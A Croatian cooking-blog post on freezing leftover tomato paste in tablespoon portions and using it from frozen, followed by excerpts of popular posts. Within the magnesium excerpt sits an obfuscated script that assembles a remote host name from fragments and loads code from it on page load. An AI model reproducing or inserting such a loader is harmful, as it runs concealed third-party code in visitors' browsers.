KAKO KORISTITI ZAMRZNUTI KONCENTRAT?





Kako koristiti zamrznuti koncentrat?




Većina recepata traži tek žlicu ili dvije koncentrata rajčice, no rijetko tko uspije potrošiti cijelu konzervu odjednom. Koncentrat jelima daje bogatstvo i dubinu okusa, ali se najčešće prodaje u pakiranjima od oko 170 grama, zbog čega ga često ostane nakon kuhanja. Umjesto da se neiskorišteni ostatci pokvare u hladnjaku, mogu se jednostavno zamrznuti i sačuvati mjesecima.





Kako zamrznuti ostatke koncentrata rajčice

Kad nakon pripreme jela ostane dio koncentrata rajčice, dovoljno ga je žlicom rasporediti u porcije od jedne jušne žlice na lim za pečenje obložen papirom za pečenje. Lim se zatim stavlja u zamrzivač, a nakon što se porcije potpuno stvrdnu, prebacuju se u vrećicu za zamrzavanje s patentnim zatvaračem. Na vrećicu je korisno upisati datum zamrzavanja.

Porcije od jedne jušne žlice praktične su jer upravo toliku količinu zahtijevaju mnogi recepti. Na taj način koncentrat je unaprijed podijeljen i spreman za korištenje bez dodatnog mjerenja. Ako je potrebno više koncentrata, jednostavno se uzme nekoliko porcija. Tako spremljen koncentrat rajčice može se čuvati u zamrzivaču do tri mjeseca.



Kako koristiti zamrznuti koncentrat

Jedna od najčešćih nedoumica jest treba li zamrznuti koncentrat prije upotrebe odmrzavati. U većini slučajeva to nije potrebno.

Ako se porcija izvadi iz zamrzivača na početku pripreme obroka, obično će se dovoljno omekšati dok se pripremaju ostali sastojci. No čak i kada se koristi izravno iz zamrzivača, koncentrat se vrlo brzo otapa u vrućoj tavi.

Prilikom pirjanja luka, češnjaka ili drugih aromatičnih sastojaka zamrznuta porcija može se jednostavno dodati u tavu i kuhati zajedno s ostalim sastojcima. Isti postupak vrijedi za juhe, variva i razne umake. Zbog toga nema potrebe za dodatnim planiranjem ili odmrzavanjem.



Zašto je ova metoda odlična

Koncentrat rajčice u tubi mnogima je omiljen zbog praktičnosti, no takva pakiranja nisu uvijek dostupna, a često su i skuplja od klasičnih konzervi. Zamrzavanjem unaprijed odmjerenih porcija moguće je dobiti jednaku praktičnost uz niži trošak.

Osim što sprječava bacanje hrane, ova metoda omogućuje da koncentrat uvijek bude spreman za upotrebu. Porcije su već odmjerene i mogu se koristiti čim zatrebaju, što olakšava pripremu svakodnevnih obroka i štedi vrijeme u kuhinji.

Ako u hladnjaku stoji napola iskorištena konzerva koncentrata rajčice, dovoljno je izdvojiti nekoliko minuta za zamrzavanje ostataka. Tako će biti spreman za sljedeći recept, bez bojazni da će završiti u otpadu.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više